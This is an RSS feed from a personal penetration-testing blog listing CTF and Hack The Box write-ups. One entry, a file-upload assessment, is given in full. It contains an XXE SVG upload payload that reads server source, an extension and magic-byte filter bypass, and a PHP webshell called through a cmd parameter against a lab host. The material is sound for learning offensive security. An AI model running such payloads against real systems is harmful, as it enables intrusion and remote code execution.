<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>db1M.sh</title><link>http://db1m.me/</link><description>Recent content on db1M.sh</description><generator>Hugo -- gohugo.io</generator><language>en</language><copyright>© 2026 db1M</copyright><lastBuildDate>Sun, 05 Jul 2026 08:36:42 -0400</lastBuildDate><atom:link href="http://db1m.me/index.xml" rel="self" type="application/rss+xml"/><item><title>API Attack Skill Assessment</title><link>http://db1m.me/posts/writeups/api-attacks-skill-assessment/</link><pubDate>Sun, 05 Jul 2026 08:36:42 -0400</pubDate><guid>http://db1m.me/posts/writeups/api-attacks-skill-assessment/</guid><description>&lt;p&gt;We have a web application that should be secured than &lt;code&gt;v0&lt;/code&gt; and &lt;code&gt;v1&lt;/code&gt;, and the question said that &lt;code&gt;Submit the contents of the flag at '/flag.txt'.&lt;/code&gt;
After seeing that the flag is in &lt;code&gt;/flag.txt&lt;/code&gt;, I thought about searching for SSRF to LFI. This enable me to know the local files paths and get the flag.&lt;/p&gt;</description><media:content xmlns:media="http://search.yahoo.com/mrss/" url="http://db1m.me/posts/writeups/api-attacks-skill-assessment/feature.png"/></item><item><title>GraphQL Skill Assessment</title><link>http://db1m.me/posts/writeups/graphql-skill-assessment/</link><pubDate>Sun, 21 Jun 2026 03:16:15 -0400</pubDate><guid>http://db1m.me/posts/writeups/graphql-skill-assessment/</guid><description>&lt;p&gt;First explored the request and decided to see if the GraphiQL endpoint is enabled.&lt;/p&gt;
&lt;p&gt;I started my test by sending an introspection query to know the relations between objects and queries.&lt;/p&gt;</description><media:content xmlns:media="http://search.yahoo.com/mrss/" url="http://db1m.me/posts/writeups/graphql-skill-assessment/feature.png"/></item><item><title>File Inclusion Skill Assessment</title><link>http://db1m.me/posts/writeups/file-inclusion-skill-assessment/</link><pubDate>Mon, 15 Jun 2026 08:36:42 -0400</pubDate><guid>http://db1m.me/posts/writeups/file-inclusion-skill-assessment/</guid><description>&lt;p&gt;&lt;strong&gt;The challenge description:&lt;/strong&gt; Assess the web application and use a variety of techniques to gain remote code execution and find a flag in the / root directory of the file system. Submit the contents of the flag as your answer.&lt;/p&gt;</description><media:content xmlns:media="http://search.yahoo.com/mrss/" url="http://db1m.me/posts/writeups/file-inclusion-skill-assessment/feature.png"/></item><item><title>CAT CTF 26 — Entry Level (Author Write-Ups)</title><link>http://db1m.me/challenges/cat-ctf-26/</link><pubDate>Mon, 23 Mar 2026 00:00:00 +0000</pubDate><guid>http://db1m.me/challenges/cat-ctf-26/</guid><description>&lt;p&gt;Hello everyone, this is my first time being an author for a CTF competition. I created 6 web challenges, one misc challenge, and one Linux jail. It was a very exciting experience for me to have this opportunity.&lt;/p&gt;</description><media:content xmlns:media="http://search.yahoo.com/mrss/" url="http://db1m.me/challenges/cat-ctf-26/feature.png"/></item><item><title>Czechoslovakia XSS Challenge | Hackena Ramadan CTF</title><link>http://db1m.me/posts/writeups/hackena-ramadan-ctf-xss/</link><pubDate>Sat, 14 Mar 2026 00:00:00 +0000</pubDate><guid>http://db1m.me/posts/writeups/hackena-ramadan-ctf-xss/</guid><description>&lt;blockquote&gt;&lt;p&gt;How I Exploited an &lt;strong&gt;XSS&lt;/strong&gt; vulnerability in a filtered input parameter using the &lt;code&gt;/a//&lt;/code&gt; bypass technique to steal the admin bot&amp;rsquo;s FLAG cookie through a webhook exfiltration.&lt;/p&gt;</description><media:content xmlns:media="http://search.yahoo.com/mrss/" url="http://db1m.me/posts/writeups/hackena-ramadan-ctf-xss/feature.png"/></item><item><title>No Notes CRLF Challenge | Hackena Ramadan CTF</title><link>http://db1m.me/posts/writeups/hackena-ramadan-ctf-crlf/</link><pubDate>Sat, 14 Mar 2026 00:00:00 +0000</pubDate><guid>http://db1m.me/posts/writeups/hackena-ramadan-ctf-crlf/</guid><description>&lt;blockquote&gt;&lt;p&gt;How I exploited HTTP response splitting to steal cookies from an isolated bot using only time measurements.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 class="relative group"&gt;The Challenge That Said &amp;ldquo;No&amp;rdquo;
 &lt;div id="the-challenge-that-said-no" class="anchor"&gt;&lt;/div&gt;
 
 &lt;span
 class="absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100 select-none"&gt;
 &lt;a class="text-primary-300 dark:text-neutral-700 !no-underline" href="#the-challenge-that-said-no" aria-label="Anchor"&gt;#&lt;/a&gt;
 &lt;/span&gt;
 
&lt;/h2&gt;
&lt;p&gt;When I first landed on the &lt;strong&gt;No Notes hehe&lt;/strong&gt; challenge, I was greeted with a peculiar message:&lt;/p&gt;</description><media:content xmlns:media="http://search.yahoo.com/mrss/" url="http://db1m.me/posts/writeups/hackena-ramadan-ctf-crlf/feature.png"/></item><item><title>File Upload Skill Assessment</title><link>http://db1m.me/posts/writeups/file-upload-skill-assessment/</link><pubDate>Thu, 15 Jan 2026 08:36:42 -0400</pubDate><guid>http://db1m.me/posts/writeups/file-upload-skill-assessment/</guid><description>&lt;ul&gt;
&lt;li&gt;Inspecting the webapp and the functionalities found a submit flag functionality.&lt;/li&gt;
&lt;li&gt;I read the JS and the HTML codes to see the validation of the frontend, noticed that only images extensions are allowed.&lt;/li&gt;
&lt;li&gt;I uploaded a &lt;code&gt;.png&lt;/code&gt; file and see the request in the burp. it was a GET request and it supposed to be a POST request in uploading a file, so I inspect the code to see the right place to upload files and found in the JS file the correct is to send to the endpoint: &lt;code&gt;contact/upload.php&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;I asked AI to create me a curl request to send a POST request to this endpoint.&lt;/li&gt;
&lt;li&gt;I fuzzed to see the allowed extension and the allowed content type too and found that &lt;code&gt;svg&lt;/code&gt; and &lt;code&gt;images/svg+xml&lt;/code&gt; are allowed.&lt;/li&gt;
&lt;li&gt;So I thought about upload a &lt;code&gt;svg&lt;/code&gt; file with XXE payload to craft gain the source code of the backend to know the logic, blacklist, and the whitelist of the uploading function.&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-xml" data-lang="xml"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl -s -X POST &amp;#34;154.57.164.61:30775/contact/upload.php&amp;#34; \
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -F &amp;#34;uploadFile=@/dev/stdin;filename=shell.svg;type=image/svg+xml&amp;#34; \
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;&amp;lt;&amp;lt;&amp;lt;&lt;/span&gt; &amp;#39;&lt;span class="cp"&gt;&amp;lt;?xml version=&amp;#34;1.0&amp;#34; encoding=&amp;#34;UTF-8&amp;#34;?&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;&amp;lt;!DOCTYPE svg [&amp;lt;!ENTITY xxe SYSTEM &amp;#34;php://filter/convert.base64-encode/resource=/var/www/html/contact/upload.php&amp;#34;&amp;gt;&lt;/span&gt;]&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;&amp;lt;svg&lt;/span&gt; &lt;span class="na"&gt;xmlns=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;http://www.w3.org/2000/svg&amp;#34;&lt;/span&gt; &lt;span class="na"&gt;width=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;500&amp;#34;&lt;/span&gt; &lt;span class="na"&gt;height=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;500&amp;#34;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;&amp;lt;text&lt;/span&gt; &lt;span class="na"&gt;y=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;20&amp;#34;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;&lt;span class="ni"&gt;&amp;amp;xxe;&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/text&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;&amp;lt;/svg&amp;gt;&lt;/span&gt;&amp;#39;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;The parameters of the payload got from the HTML code inspection:&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;input&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;uploadFile&amp;#34;&lt;/span&gt; &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;uploadFile&amp;#34;&lt;/span&gt; &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;file&amp;#34;&lt;/span&gt; &lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;custom-file-input&amp;#34;&lt;/span&gt; &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;inputGroupFile02&amp;#34;&lt;/span&gt; &lt;span class="na"&gt;onchange&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;checkFile(this)&amp;#34;&lt;/span&gt; &lt;span class="na"&gt;accept&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;.jpg,.jpeg,.png&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;We got the source code encoded, after decoded, we knew the logic:&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;&amp;lt;?&lt;/span&gt;&lt;span class="nx"&gt;php&lt;/span&gt; &lt;span class="k"&gt;require_once&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;./common-functions.php&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// uploaded files directory 
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$target_dir&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;./user_feedback_submissions/&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// rename before storing 
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$fileName&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;date&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;ymd&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;_&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="nx"&gt;basename&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_FILES&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;uploadFile&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;name&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt; &lt;span class="nv"&gt;$target_file&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$target_dir&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$fileName&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// get content headers 
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$contentType&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_FILES&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;uploadFile&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;type&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt; &lt;span class="nv"&gt;$MIMEtype&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;mime_content_type&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_FILES&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;uploadFile&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;tmp_name&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// blacklist test 
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;preg_match&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/.+\.ph(p|ps|tml)/&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$fileName&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Extension not allowed&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;die&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// whitelist test 
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;preg_match&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/^.+\.[a-z]{2,3}g$/&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$fileName&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Only images are allowed&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;die&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// type test 
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;foreach&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$contentType&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$MIMEtype&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="nv"&gt;$type&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;preg_match&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/image\/[a-z]{2,3}g/&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$type&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Only images are allowed&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;die&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// size test 
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_FILES&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;uploadFile&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;size&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;500000&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;File too large&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;die&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;move_uploaded_file&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_FILES&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;uploadFile&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;tmp_name&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nv"&gt;$target_file&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;displayHTMLImage&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$target_file&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;File failed to upload&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="nx"&gt;want&lt;/span&gt; &lt;span class="nx"&gt;to&lt;/span&gt; &lt;span class="nx"&gt;get&lt;/span&gt; &lt;span class="nx"&gt;the&lt;/span&gt; &lt;span class="nx"&gt;flag&lt;/span&gt; &lt;span class="nx"&gt;then&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;The code tells us the following:&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-txt" data-lang="txt"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;1. Blacklist: blocks .php .phps .phtml
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;2. Whitelist: filename must end in [a-z]{2,3}g → jpg, png, svg, jpeg
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;3. Content-Type: must match image/[a-z]{2,3}g → image/jpg, image/png, image/svg, image/jpeg 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;4. MIME: same regex check on actual file content
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;5. Upload dir: ./user_feedback_submissions/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;6. The file is stored in the database with a unique schema --&amp;gt; DATE_Filename&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;I noticed that the &lt;code&gt;.phar&lt;/code&gt; extension not in the blacklist so I can use in uploading a shell which can allow execution of a PHP code.&lt;/li&gt;
&lt;li&gt;The vulnerability of the whitelist is that it only checks the end of the filename extension has a &lt;code&gt;g&lt;/code&gt; so using &lt;code&gt;jpg&lt;/code&gt; with double-extension technique will bypass the filters.&lt;/li&gt;
&lt;li&gt;To ensure the attack implemented successfully, we should put a &lt;code&gt;jpg&lt;/code&gt; signature to bypass the MIME check &amp;ndash;&amp;gt; &lt;code&gt;\xff\xd8\xff\&lt;/code&gt;
![[Pasted image 20260607022513.png]]&lt;/li&gt;
&lt;li&gt;So the full request will be:
![[Pasted image 20260607022051.png]]&lt;/li&gt;
&lt;li&gt;The shell is uploaded and now we want to visit it, after some struggling with the data I reached the true path:&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-http" data-lang="http"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;http://154.57.164.61:30775/contact/user_feedback_submissions/260606_shell.phar.jpg?cmd=ls&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;The flag isn&amp;rsquo;t in &lt;code&gt;flag.txt&lt;/code&gt; as I tried before catch it with the same way I get the source code, so I knew that I needed an RCE.&lt;/li&gt;
&lt;li&gt;I search about flag in the entire system:&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;find / -name &lt;span class="s1"&gt;&amp;#39;flag*&amp;#39;&lt;/span&gt; -o -name &lt;span class="s1"&gt;&amp;#39;*flag*&amp;#39;&lt;/span&gt; -o -name &lt;span class="s1"&gt;&amp;#39;*.flag&amp;#39;&lt;/span&gt; 2&amp;gt;/dev/null&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;The flag in &lt;code&gt;flag_2b8f1d2da162d8c44b3696a1dd8a91c9.txt&lt;/code&gt; , just read it.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;</description><media:content xmlns:media="http://search.yahoo.com/mrss/" url="http://db1m.me/posts/writeups/file-upload-skill-assessment/feature.png"/></item><item><title>SQL Injection Skill Assessment</title><link>http://db1m.me/posts/writeups/sql-injection-skill-assessment/</link><pubDate>Sun, 11 Jan 2026 01:53:01 -0400</pubDate><guid>http://db1m.me/posts/writeups/sql-injection-skill-assessment/</guid><description>&lt;p&gt;We are tasked with a web application and assigned to perform a penetration test and exploit SQL injection vulnerability. Let&amp;rsquo;s goo and explore.&lt;/p&gt;
&lt;p&gt;In first step after visiting the application we got a bad request.&lt;/p&gt;</description><media:content xmlns:media="http://search.yahoo.com/mrss/" url="http://db1m.me/posts/writeups/sql-injection-skill-assessment/feature.png"/></item><item><title>Web Fuzzing Skill Assessment</title><link>http://db1m.me/posts/writeups/web-fuzzing-skill-assessment/</link><pubDate>Wed, 07 Jan 2026 08:36:42 -0400</pubDate><guid>http://db1m.me/posts/writeups/web-fuzzing-skill-assessment/</guid><description>&lt;figure&gt;&lt;img
 class="my-0 rounded-md"
 loading="lazy"
 decoding="async"
 fetchpriority="low"
 alt=""
 src="https://miro.medium.com/v2/resize:fit:657/0*Oy--u9pZ4coqoEpL.png"
 &gt;&lt;/figure&gt;
&lt;p&gt;Hello everyone&lt;/p&gt;
&lt;p&gt;In this article, I’ll share my approach to solving the &lt;strong&gt;Web Fuzzing Skill Assessment&lt;/strong&gt; on Hack The Box, sharing the methodology and tools I used along the way.&lt;/p&gt;</description><media:content xmlns:media="http://search.yahoo.com/mrss/" url="http://db1m.me/posts/writeups/web-fuzzing-skill-assessment/feature.png"/></item><item><title>Information Gathering Skill Assessment</title><link>http://db1m.me/posts/writeups/information-gathering-skill-assessment/</link><pubDate>Mon, 05 Jan 2026 08:36:42 -0400</pubDate><guid>http://db1m.me/posts/writeups/information-gathering-skill-assessment/</guid><description>&lt;figure&gt;&lt;img
 class="my-0 rounded-md"
 loading="lazy"
 decoding="async"
 fetchpriority="low"
 alt=""
 src="https://miro.medium.com/v2/resize:fit:792/1*x9V5H3RDvJxIkp1AnOEy3w.jpeg"
 &gt;&lt;/figure&gt;
&lt;p&gt;Hello everyone&lt;/p&gt;
&lt;p&gt;In this article, I’ll share my approach to solving the &lt;strong&gt;Information Gathering skill assessment&lt;/strong&gt; on Hack The Box, sharing the methodology and tools I used along the way.&lt;/p&gt;</description><media:content xmlns:media="http://search.yahoo.com/mrss/" url="http://db1m.me/posts/writeups/information-gathering-skill-assessment/feature.png"/></item><item><title>BCACTF 2025 Write-Up</title><link>http://db1m.me/posts/writeups/bcactf-2025/</link><pubDate>Tue, 24 Jun 2025 00:00:00 +0000</pubDate><guid>http://db1m.me/posts/writeups/bcactf-2025/</guid><description>&lt;h2 class="relative group"&gt;Misc Category
 &lt;div id="misc-category" class="anchor"&gt;&lt;/div&gt;
 
 &lt;span
 class="absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100 select-none"&gt;
 &lt;a class="text-primary-300 dark:text-neutral-700 !no-underline" href="#misc-category" aria-label="Anchor"&gt;#&lt;/a&gt;
 &lt;/span&gt;
 
&lt;/h2&gt;

&lt;h3 class="relative group"&gt;expletive
 &lt;div id="expletive" class="anchor"&gt;&lt;/div&gt;
 
 &lt;span
 class="absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100 select-none"&gt;
 &lt;a class="text-primary-300 dark:text-neutral-700 !no-underline" href="#expletive" aria-label="Anchor"&gt;#&lt;/a&gt;
 &lt;/span&gt;
 
&lt;/h3&gt;
&lt;p&gt;oh no! It seems like only some of the characters on my keyboard are working…&lt;/p&gt;</description><media:content xmlns:media="http://search.yahoo.com/mrss/" url="http://db1m.me/posts/writeups/bcactf-2025/feature.png"/></item><item><title>About</title><link>http://db1m.me/about/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>http://db1m.me/about/</guid><description>&lt;p&gt;I&amp;rsquo;m &lt;strong&gt;Mohanad Edrees&lt;/strong&gt;, also known as &lt;strong&gt;db1M&lt;/strong&gt;—a penetration testing enthusiast and CTF player documenting what I learn through labs and hands-on security research.&lt;/p&gt;
&lt;p&gt;This site is my public notebook. Write-ups focus on the full path to a solution: reconnaissance, failed assumptions, exploitation, and the lessons worth carrying into the next target.&lt;/p&gt;</description></item></channel></rss>